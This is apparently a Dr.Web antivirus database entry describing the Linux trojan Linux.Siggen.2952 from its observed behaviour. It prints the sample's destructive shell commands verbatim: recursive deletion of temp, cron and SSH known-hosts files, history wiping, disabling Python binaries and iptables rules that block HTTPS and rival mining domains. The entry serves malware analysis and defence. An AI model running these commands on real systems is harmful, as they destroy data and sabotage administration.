JavaScript support is required for our site to be fully operational in your browser.
Linux.Siggen.2952
Added to the Dr.Web virus database:
2020-05-16
Virus description added:
2020-05-16
Technical Information
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
Modifies firewall settings:
iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string aliyun.one -j DROP
iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string img.sobot.com -j DROP
iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string supportxmr.com -j DROP
iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string pastebin.com -j DROP
iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string minexmr.com -j DROP
iptables -I INPUT -s 178.170.189.0/24 -j DROP
iptables -I INPUT -s 91.215.168.0/22 -j DROP
iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string tor2web.su -j DROP
iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string lsd.systemten.org -j DROP
iptables -A FORWARD -p tcp --dport 53 -m string --algo kmp --string onion.to -j DROP
iptables -A FORWARD -p udp --dport 53 -m string --algo kmp --string tor2web.io -j DROP
iptables -A FORWARD -p udp --dport 53 -m string --algo kmp --string onion.sh -j DROP
iptables -I OUTPUT -p tcp -d pastebin.com -j DROP
iptables -A INPUT -p tcp -s pastebin.com -j DROP
iptables -A INPUT -p tcp --dport 443 -j DROP
iptables -A OUTPUT -p tcp --dport 8080 -j DROP
iptables -A OUTPUT -p tcp --dport 443 -j DROP
Launches processes:
sh -c rm -rf /tmp/.* ; rm -rf /tmp/* ; crontab -r ; for i in `atq | awk '{print $1}'`; do atrm $i; done ; chattr -R -i /tmp/* ; rm -rf /tmp/.* ; rm -rf /dev/shm/* ; rm -rf /dev/shm/* ; rm -rf /var/lock*/* ; rm -rf /var/tmp/* ; rm -rf /var/tmp/.* ; chattr -R -i /var/spool/*/* ; rm -rf /var/spool/*/*/* ; rm -rf /var/spool/cro*/cront*/* ; rm -rf /home/*/.ba* ; >/dev/null 2>/dev/null
rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.font-unix
sh -c
sh -c rm -rf /usr/sbin/crond ; chmod 000 /usr/bin/py* ; rm -rf /home/*/.ss*/.kn* ; rm -rf /root/.ss*/.kn* ; rm -rf /var/spool/cr*/* ; rm -rf /etc/cron.*/* ; rm -rf /var/spool/anacro*/*/* ; rm -rf /root/.ba* ; rm -rf /etc/cron* ; >/dev/null 2>/dev/null
sh -c echo \"nameserver 8.8.8.8\" >> /etc/resolv.conf ; >/dev/null 2>&1
rm -rf /usr/sbin/crond
chmod 000 /usr/bin/py3clean /usr/bin/py3compile /usr/bin/py3versions /usr/bin/pybuild /usr/bin/pyclean /usr/bin/pycompile /usr/bin/pydoc /usr/bin/pydoc2.7 /usr/bin/pydoc3 /usr/bin/pydoc3.4 /usr/bin/pygettext /usr/bin/pygettext2.7 /usr/bin/pygettext3 /usr/bin/pygettext3.4 /usr/bin/pygmentize /usr/bin/python /usr/bin/python-config /usr/bin/python2 /usr/bin/python2-config /usr/bin/python2.7 /usr/bin/python2.7-config /usr/bin/python3 /usr/bin/python3.4 /usr/bin/python3.4m /usr/bin/python3m /usr/bin/pythontex /usr/bin/pythontex3 /usr/bin/pyversions
/sbin/modprobe ip_tables -q
rm -rf /home/*/.ss*/.kn*
rm -rf /root/.ss*/.kn*
rm -rf /var/spool/cron/atjobs /var/spool/cron/atspool /var/spool/cron/crontabs
rm -rf /etc/cron.daily/apt /etc/cron.daily/aptitude /etc/cron.daily/bsdmainutils /etc/cron.daily/dpkg /etc/cron.daily/exim4-base /etc/cron.daily/logrotate /etc/cron.daily/man-db /etc/cron.daily/mlocate /etc/cron.daily/passwd /etc/cron.weekly/man-db
rm -rf /var/spool/anacro*/*/*
rm -rf /root/.bash_history /root/.bashrc
rm -rf /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly /etc/crontab
iptables-save
Kills system processes:
Kills the following processes:
run.sh
bash
acpid
rsyslogd
cron
rpc.idmapd
systemd
<SAMPLE>
/bin/rm
/bin/sh
(sd-pam)
/bin/chmod
Performs operations with the file system:
Modifies file access rights:
/usr/sbin/service
/usr/bin/wget
/dev/urandom
/usr/bin/perl
/usr/bin/python3.4
/usr/bin/python2.7
/usr/bin/mawk
/usr/bin/xargs
/bin/sed
/usr/bin/crontab
/usr/bin/py3clean
/usr/bin/py3compile
/usr/bin/at
/bin/nc.traditional
/sbin/xtables-multi
Creates or modifies files:
Deletes files:
/usr/sbin/crond
/home/*/.ss*/.kn*
/root/.ss*/.kn*
/.SEQ
/etc/cron.daily/apt
/var/spool/anacro*/*/*
/root/.bash_history
/.placeholder
/passwd
/aptitude
/mlocate
/logrotate
/apt
/bsdmainutils
/dpkg
/man-db
/exim4-base
/etc/crontab
/usr/sbin/service
/usr/bin/at
/bin/nc
/bin/netcat
/usr/bin/iptables-xml
Network activity:
Establishes connection:
16#.#2.69.25:80
[:##]:53
127.0.0.1:53
<LOCAL_DNS_SERVER>
45.##.42.172:80
14#.#8.34.25:80
DNS ASK:
Curing recommendations
Linux
Free trial
One month (no registration) or three months (registration and renewal discount)
By continuing to use this website, you are consenting to Doctor Web’s use of cookies and other technologies related to the collection of visitor statistics. Learn more
OK